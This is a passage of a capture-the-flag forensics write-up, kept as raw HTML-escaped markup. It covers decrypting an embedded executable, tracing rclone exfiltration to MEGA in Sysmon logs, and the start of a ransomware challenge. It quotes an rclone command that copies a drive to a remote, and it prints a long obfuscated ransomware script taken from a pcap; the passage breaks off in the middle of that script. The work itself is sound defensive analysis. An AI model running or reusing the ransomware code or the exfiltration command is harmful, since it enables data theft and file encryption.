&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">encrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;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&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">encrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">unpad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">decrypted_message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gzip&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decompress&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;E:/Downloads/out&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;wb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypted_message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As a result, we get &lt;a href="https://drive.google.com/file/d/1RsyS6wtl-Dz1HM-0GPDnOYWSxnFMBGoi/view?usp=sharing" target="_blank" rel="noopener">this binary&lt;/a>.&lt;/p>
&lt;p>I also double-checked using &lt;a href="https://www.portablefreeware.com/index.php?id=2757" target="_blank" rel="noopener">Detect It Easy (DIE)&lt;/a> to see if it is a valid executable or not.&lt;/p>
&lt;img src="2.png" alt="DIE" width="1000"/>
&lt;p>Voilà, we get the executable! I used &lt;a href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener">dnSpy&lt;/a> to read the code of the binary. Turned out, the flag is right there to be seen!&lt;/p>
&lt;img src="3.png" alt="dnSpy" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{0neN0Te?_iT'5_4_tr4P!}&lt;/strong>&lt;/p>
&lt;h2 id="packet-cyclone">Packet Cyclone&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1hqRgWipQ_XvLOSa7fQDDVzZ37U3myRbq/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>To get the flag, we need to answer these five question correctly:&lt;/p>
&lt;p>&lt;strong>1.What is the email of the attacker used for the exfiltration process? (for example: &lt;a href="mailto:name@email.com">name@email.com&lt;/a>)&lt;/strong>&lt;/p>
&lt;p>In the file given, there are 2 YAML files. In these files there is a &lt;a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/" target="_blank" rel="noopener">link&lt;/a> which is about detecting &lt;code>Rclone&lt;/code>. We can follow what they do to answer our questions.&lt;/p>
&lt;p>To find the email, i opened &lt;code>Sysmon Operational&lt;/code> event log and looked around the events. Then i found this:&lt;/p>
&lt;img src="001.png" alt="dnSpy" width="1000"/>
&lt;p>This event will help us to answer first four questions.&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>majmeret@protonmail.com&lt;/code>&lt;/p>
&lt;p>&lt;strong>2. What is the password of the attacker used for the exfiltration process?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI&lt;/code>&lt;/p>
&lt;p>&lt;strong>3. What is the Cloud storage provider used by the attacker?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>mega&lt;/code>&lt;/p>
&lt;p>&lt;strong>4. What is the ID of the process used by the attackers to configure their tool?&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>3820&lt;/code>&lt;/p>
&lt;p>&lt;strong>5. What is the name of the folder the attacker exfiltrated; provide the full path.&lt;/strong>&lt;/p>
&lt;p>After reading the link mentioned above, we know that the attacker used command &lt;code>.rclone.exe copy E: remote:data&lt;/code> to begin exfiltrated. Hence, I searched for the event that mentions &lt;code>rclone.exe&lt;/code>.&lt;/p>
&lt;img src="002.png" alt="dnSpy" width="1000"/>
&lt;p>&lt;strong>Answer:&lt;/strong> &lt;code>C:\Users\Wade\Desktop\Relic_location&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}&lt;/strong>&lt;/p>
&lt;h2 id="bashic-ransomware">Bashic Ransomware&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1EY-quPUPyMjwMo_rJ5jApOcZIrMRnzSw/view?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We were given four files, including one encrypted flag file, a pcap file and a mem file with their &lt;code>volatility profile&lt;/code> which is the zip file.&lt;/p>
&lt;h3 id="1-pcap-file">1. Pcap file&lt;/h3>
&lt;p>Looking at the pcap file, we can see a long &lt;code>base64&lt;/code> string, i decoded it and get:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="n">gH4&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;Ed&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">kM0&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;xSz&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;ch&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">L&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;4&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">rQW&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">fE1&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34;lQ&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">=&lt;/span>&lt;span class="s2">&amp;#34; &amp;#39;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rFWesZlWLh3aNZUOH1ERS52QJhWVahlUWlVMadUZ0RWRX9kUwU1V1U1TXpVRhtEcupFdCFjUVVzVTtkRUVWekZUZDRWMZBHZxQFUCNTUGpkRiJHZFFGM0NVZtplRkNVODdlbWdVUVB3dTFzdHJWWsdVT0oURiNlVGZlNatGVrpUVUBzYsFmMjhkTTxGMhZjQE1UY0dlYzh3RhRTWUZlM4V0UYVzaZVFcrlFWkpnUIhnMiJHbtlVNjZUZoZUbUt0aGJ1MOhkV5dWMSBnRUdlcVh0VZlzUkNHctRWN4IDVvp0VTllWupVNnpHTXJlbTlkTrVFbGJjYZp0aURTTsNFN0JzSOxmRNlXVsJGeOZlUyUkbjBDasNUMsdkWyFkaTdnVtp1dB5WTYp1RahnUtlFbOVkU1xWbTdVOVZlSORlYrJVRlpkU65EWOhlTzIEWaZXMHJmcnd0TCh2aWpXQuFVVxs2YRZVRNRkVVJlRwdGVwQmRUVnWEFGeVRlWrZEVlhmVyklRkNDZ1kkbTNjVyoldoREZRxGMhRTVwolSopXU2hGWidlRzEWMOVkV0okMhplWVVlRk5WWoZEMWlkUysESstWYLNGRlVEasRmWCNDZhRmaOFTS6pld0IzY2YlRlhXU6xERCpWWxolVhNlQzEWaCpHZTlzQSNlTwMlQGBjWZxWVVJkVXNlUGVkUKRWbSZEbwQGRsBTYu50aDdFbxolQoBjWS5URUZFZYFVasBDZydGbjVzaxElVk1mVwpkRjJnSH10MKFDTxZVVRpEbrpVcGxGV0Jkek5kWqd1VGZVVKRWMaVkRwMlRkhlUGJleZJEcnNlMRtWWvVzaNlmTY5UNG1WYHRWVZJkRq1UawhlTYxmVlRjUVNVMZxWTUJFWPlXTXR2RxclVrZEbZJkRVJlUWVVU0AzVOFHZU5ESOdlYzU1aZJFbYV1SzVUTYlzahdnSVNmasxWV2RXbRhHOTNmQ1cVW6t2MMVlV6tUYkh0Vrp1VXFFdHRmevZVV4N3VNJTWHVmR5U1YyRmaUJEZERFeNFDVDpkaWBDaqN2Qat2Q4tmVkZXNrFlRoNDVMpkMUtmTuNlQKVVT0MmeTtmRsJlWS1mYNpEWXhXRsFmVxU1VaxWVT5WOD5ESCpnYGpVVSBVNF5ETsV0TUJFVTRzZE9ENVd0Tx82dNBzYU5kcJ5GZ5d3VihXVz0EdCRFZvJFSjZEaXRGcahkV2gmRi1mRwE2dZ1WUwJEWOpmSrNmM4UkT2p1VZ9EZIdVWONDZzIEWS9mRWNGMnRlVth3aNt0bI1EW0l3UrhWRkZXSuRWU4